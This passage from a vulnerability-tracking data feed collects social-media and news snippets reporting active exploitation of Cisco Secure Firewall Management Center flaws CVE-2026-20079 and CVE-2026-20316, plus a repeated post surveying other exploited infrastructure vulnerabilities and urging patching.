"f8076490-a3f9-4050-9c2c-01b1842a91e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mv3z52lkt22k", "content": "Cisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware.\nblog.talosintelligence.com/fmc-ongoing-...", "creation_timestamp": "2026-09-09T16:59:30.222016Z"}, {"uuid": "83cf8174-5c6b-446f-818e-2b7a1e068a49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://threatintel.cc/2026/09/09/active-exploitation-of-cisco-secure.html", "content": "Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\n\nCisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware. Customers are strongly urged to apply security patches immediately to prevent unauthorized access and potential compromise.", "creation_timestamp": "2026-09-09T19:18:59.417619Z"}, {"uuid": "6f65b08b-8c6f-4331-b5da-7411cc0dc6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://threatintel.cc/2026/09/09/active-exploitation-of-cisco-secure.html", "content": "Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\n\nCisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware. Customers are strongly urged to apply security patches immediately to prevent unauthorized access and potential compromise.", "creation_timestamp": "2026-09-09T19:18:59.492315Z"}, {"uuid": "f650c906-1549-4ebc-8914-369f9d6dd99d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/entorisec.bsky.social/post/3mv4b23x63i2k", "content": "CISA put three edge appliance flaws on KEV today, all with a 12 September deadline: Citrix NetScaler, Fortinet FortiOS and Cisco Secure FMC. Talos ties the Cisco one, CVE-2026-20079, a 10.0 giving root, to Sandworm and Qilin affiliates. securityonline.info/cisc...", "creation_timestamp": "2026-09-09T19:20:58.762918Z"}, {"uuid": "aa0f4dda-0b16-4e36-96eb-2f7ac9191457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mv4ciaz7or2w", "content": "\ud83d\uded1 CVE-2026-20079\nCisco Secure Firewall Management Center (FMC) and Security Cloud Control (SCC) F\nCVSS 10.0 / EPSS 36% / KEV \u2705\nTL;DR: A vulnerability in the web\u2026\nhttps://cvesentinel.com/report/CVE-2026-20079?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-09-09T19:46:45.688157Z"}, {"uuid": "8b2adf93-9da6-49fe-9098-afcfc48603d3", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/84cfbccf-e121-41d0-a049-074a83e946f7", "content": "", "creation_timestamp": "2026-09-09T20:00:07.341414Z"}, {"uuid": "097e69af-ad10-4094-9ef9-a5f4e6171cdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/ap/users/117202824925377048/statuses/117243098184977306", "content": "Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco\u2019s Secure Firewall Management Center (FMC) Software. First, CVE-2026-20079 is an authentication bypass vulnerability in unpatched instances of Cisco\u2019s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system. Second, CVE-2026-20316 is a vulnerability that allows a remote attacker to log in using a low-privileged account.\nhttps://blog.talosintelligence.com/fmc-ongoing-exploitation/\n#threatintel #ransomware #Qilin #KEV #CVE", "creation_timestamp": "2026-09-09T21:02:04.157972Z"}, {"uuid": "60299fa0-3fbf-4ced-bd32-1e61e07201ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://infosec.exchange/ap/users/117202824925377048/statuses/117243098184977306", "content": "Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco\u2019s Secure Firewall Management Center (FMC) Software. First, CVE-2026-20079 is an authentication bypass vulnerability in unpatched instances of Cisco\u2019s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system. Second, CVE-2026-20316 is a vulnerability that allows a remote attacker to log in using a low-privileged account.\nhttps://blog.talosintelligence.com/fmc-ongoing-exploitation/\n#threatintel #ransomware #Qilin #KEV #CVE", "creation_timestamp": "2026-09-09T21:02:04.211796Z"}, {"uuid": "144e1824-2743-4886-a5ea-fb66ff0d9436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mv4ium46iz2l", "content": "Cisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in its Secure Firewall Management Center (FMC) software is being actively exploited in attacks.", "creation_timestamp": "2026-09-09T21:41:03.215750Z"}, {"uuid": "248ba527-2a53-472d-83aa-80f9279ae0d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/bloggersminds.com/post/3mv4jbcdnal23", "content": "Cisco Confirms Active Exploitation of CVE-2026-20079 in Secure FMC\n\nWhat is CVE-2026-20079? CVE-2026-20079 is a high\u2011severity authentication bypass vulnerability discovered in Cisco's Secure Firew\n\nhttps://bloggersminds.com/post/cisco-confirms-active-exploitation-of-cve-2026-20079-in-secure-fmc-5338", "creation_timestamp": "2026-09-09T21:48:08.416865Z"}, {"uuid": "9ab7a100-aace-46de-800e-0b53a1b32a8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mv4jzbwtdv2g", "content": "\ud83d\udd12 Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\nCisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in it...\n\nhttps://tinyurl.com/2c7kceax #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-09-09T22:01:33.958894Z"}, {"uuid": "1971337f-7e6c-4c33-a737-32cb6d2afb4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mv4k3hkqss2q", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\nwww.bleepingcomputer.com/news/securit...\n\n#Kyberturvallisuus #ThreatIntel #Haavoittuvuus", "creation_timestamp": "2026-09-09T22:02:47.711212Z"}, {"uuid": "427c58c2-d3ac-49e3-9133-af05999049a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mv4khs6yik2w", "content": "Cisco Confirms CVE-2026-20079 in FMC Actively Exploited by Sandworm and Qilin", "creation_timestamp": "2026-09-09T22:09:40.716603Z"}, {"uuid": "daf02a6c-e75a-4baa-90ee-55365f91828f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/117243374589142760", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "creation_timestamp": "2026-09-09T22:12:02.596860Z"}, {"uuid": "0c56b9bd-1d70-477f-9cc6-cff19efa27b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3mv4km2kxju26", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks www.bleepingcomputer.com/news/securit...", "creation_timestamp": "2026-09-09T22:12:06.768738Z"}, {"uuid": "bd393cc9-d151-48bc-b2a4-0d42d57c6ca6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/csirts.com/post/3mv4lxvhw5f2d", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-20079: Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-20079", "creation_timestamp": "2026-09-09T22:36:35.007624Z"}, {"uuid": "d8bc1975-8597-4810-a3dc-568eaf135ea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/ctinow/256526", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\nhttps://ift.tt/avQ1xST", "creation_timestamp": "2026-09-09T23:00:04.683563Z"}, {"uuid": "15f69a45-ec45-4e06-84a1-f9d7943bcd94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mv4nru7vaf2e", "content": "Cisco Secure FMC\u306b\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u8106\u5f31\u6027(CVE-2026-20079)\u304c\u3042\u308a\u3001\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002", "creation_timestamp": "2026-09-09T23:08:59.189351Z"}, {"uuid": "fc9afa7b-8226-4452-984e-b64d315db01e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://t.me/ctinow/256526", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\nhttps://ift.tt/avQ1xST", "creation_timestamp": "2026-09-10T00:00:08.907855Z"}, {"uuid": "b353eba3-f252-4c75-9d1b-1e4042a1d0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/ikehjames25.bsky.social/post/3mv4qokieg22s", "content": "Cisco Confirms Active Exploitation of Critical Secure FMC\u00a0Vulnerability\n\nCisco has confirmed that a maximum-severity authentication bypass vulnerability (CVE-2026-20079) in its Secure Firewall Management Center software is being actively exploited.", "creation_timestamp": "2026-09-10T00:00:49.968206Z"}, {"uuid": "a2d2de4e-e340-46a6-ad2b-7e496376bb44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-10T00:00:55.948398Z"}, {"uuid": "6e67f581-2d06-4ea2-8040-bdff113484e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-10T00:00:56.041255Z"}, {"uuid": "8700cbb6-6fa1-4d80-9443-2082a07dccfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-10T00:00:56.091274Z"}, {"uuid": "3f7e544e-a0d1-4271-9dc3-7e2bf621148e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-197", "content": "", "creation_timestamp": "2026-09-10T00:15:09.659428Z"}, {"uuid": "64619ec3-2999-44db-b2c9-d4a0a867414b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mv4sumzqms2x", "content": "Cisco confirms CVE-2026-20079, a CVSS 10 unauthenticated auth bypass in Secure FMC, is exploited in the wild. No workaround; patch only. CISA added it to KEV, federal deadline Sept 12. Cisco's exploitation timeline conflicts with earlier IOC disclosure.", "creation_timestamp": "2026-09-10T00:46:43.499607Z"}, {"uuid": "5db1a404-2e10-439e-9ecb-4f9b4296ec6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "content": "Cisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in its Secure Firewall Management Center (FMC) software is being actively exploited in attacks. [...]", "creation_timestamp": "2026-09-10T01:00:38.740792Z"}, {"uuid": "0b20758c-9793-4a60-ad76-33a82a7eba1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://threatintel.cc/2026/09/09/active-exploitation-of-cisco-secure.html", "content": "Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\n\nCisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware. Customers are strongly urged to apply security patches immediately to prevent unauthorized access and potential compromise.", "creation_timestamp": "2026-09-10T01:00:38.539491Z"}, {"uuid": "b3844312-0212-4ca0-b01b-3ac3ea56b8e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://threatintel.cc/2026/09/09/active-exploitation-of-cisco-secure.html", "content": "Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\n\nCisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware. Customers are strongly urged to apply security patches immediately to prevent unauthorized access and potential compromise.", "creation_timestamp": "2026-09-10T01:00:38.600101Z"}, {"uuid": "fd21c46e-edea-4d8c-9f99-de4ceef91e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mv4vd4vjbp2t", "content": "\ud83e\udd16 Cisco confirms CVE-2026-20079: max-severity authentication bypass in Secure Firewall Management Center (FMC), actively exploited in attacks. Patch priority.\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "creation_timestamp": "2026-09-10T01:23:54.798075Z"}, {"uuid": "1d603075-750a-4e6d-abc4-ba544e32ee5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mv4ya6kmsj2y", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\uff08Cisco\u3001Secure FMC\u306e\u91cd\u5927\u8106\u5f31\u6027CVE-2026-20079\u304c\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\uff09 #BleepingComputer \uff08Sep 9\uff09\n\nwww.bleepingcomputer.com/news/securit...", "creation_timestamp": "2026-09-10T02:15:56.774778Z"}, {"uuid": "a38a20c5-dcaf-4e7a-97d7-6bfdb1a3d2c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mv4zzdnxsi2k", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\n", "creation_timestamp": "2026-09-10T02:47:55.743082Z"}, {"uuid": "0e95cfe6-56f1-44f8-80d8-32d080946225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mv53dt3jgn2l", "content": "Cisco Secure FMC: CVE-2026-20079 (CVSS 10.0) unauthenticated RCE is under active exploitation and on CISA KEV. Apply Cisco's hot fix now. https://bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks", "creation_timestamp": "2026-09-10T03:11:40.599025Z"}, {"uuid": "7e318dca-613d-4b66-b5cc-5d9d1fa31eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mv53kdt44e2l", "content": "Cisco confirms active exploitation of CVE-2026-20079, a max-severity auth bypass in Secure FMC that can grant root via crafted HTTP requests. Affects Secure Firewall Management Center and Security Cloud Control Firewall Management. #Cisco", "creation_timestamp": "2026-09-10T03:15:19.260431Z"}, {"uuid": "225bb957-9a03-4598-984a-a7addbb93c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mv55xuboim24", "content": "\ud83d\udcf0 Cisco Konfirmasi Celah Secure FMC CVE-2026-20079 Dieksploitasi dalam Serangan\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/09/10/cisco-cve-2026-20079-secure-fmc-dieksploitasi/\n\n#cisco #cybersecurity #firewall #keamanan #keamananSiber #vulnerability #zero-day", "creation_timestamp": "2026-09-10T03:58:40.210944Z"}, {"uuid": "7c12d430-7b27-4cce-b4cf-5e64f61074eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mv5exmpfnv2p", "content": "\ud83d\udee1\ufe0f Revue cyber du 10 septembre :\n\ud83d\udd34 Cisco FMC : auth bypass CVE-2026-20079 exploit\u00e9\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/\n\ud83d\udfe0 Chrome : 7e zero-day 2026 (CVE-2026-87491)\nhttps://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1139/", "creation_timestamp": "2026-09-10T06:03:48.427394Z"}, {"uuid": "3e02bedc-aa7c-4432-b314-fa7c20049549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/threatspotai.bsky.social/post/3mv5ghsolzz2g", "content": "\ud83d\udea8 CISA KEV Alert\nCVE-2026-20079: \u26a0\ufe0f CVE-2026-20079: New Actively Exploited Vulnerability Added to CISA KEV\nSeverity: HIGH | CVSS: 0.0 | EPSS: 35.9%\nActively exploited\n\nRead the full alert: https://threatspot.ai/alerts/2026-20079-a-vulnerability-in-the-web-interface", "creation_timestamp": "2026-09-10T06:30:45.667690Z"}, {"uuid": "bb2c1fdc-eeaf-43df-9d12-07d761cdb586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 